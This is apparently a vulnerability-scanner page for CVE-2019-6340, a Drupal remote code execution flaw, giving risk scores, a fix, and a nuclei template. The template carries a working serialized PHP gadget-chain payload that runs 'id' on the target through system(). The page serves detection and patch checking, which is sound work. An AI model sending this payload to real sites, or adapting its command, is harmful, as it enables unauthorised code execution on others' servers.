Drupal - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

highseverity

8.1CVSS score

92%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Drupal site.

Fix

Apply the official security patch provided by Drupal to fix the deserialization vulnerability.

How to confirm it

Send: POST {{BaseURL}}/node/1?_format=hal_json
Positive when: contains "uid=" and "gid=" and "groups=" AND status 200

Run it with nuclei: nuclei -id CVE-2019-6340 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-6340

info:
  name: Drupal - Remote Code Execution
  author: madrobot
  severity: high
  description: Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Drupal site.
  remediation: |
    Apply the official security patch provided by Drupal to fix the deserialization vulnerability.
  reference:
    - https://www.drupal.org/sa-core-2019-003
    - https://www.synology.com/security/advisory/Synology_SA_19_09
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6340
    - https://www.exploit-db.com/exploits/46452/
    - https://github.com/CVEDB/PoC-List
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2019-6340
    cwe-id: CWE-502
    epss-score: 0.92017
    epss-percentile: 0.99821
    cpe: cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: drupal
    product: drupal
    shodan-query:
      - http.component:"drupal"
      - cpe:"cpe:2.3:a:drupal:drupal"
  tags: cve,cve2019,drupal,rce,kev,vkev,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/node/1?_format=hal_json'

    body: '{ "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } }'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from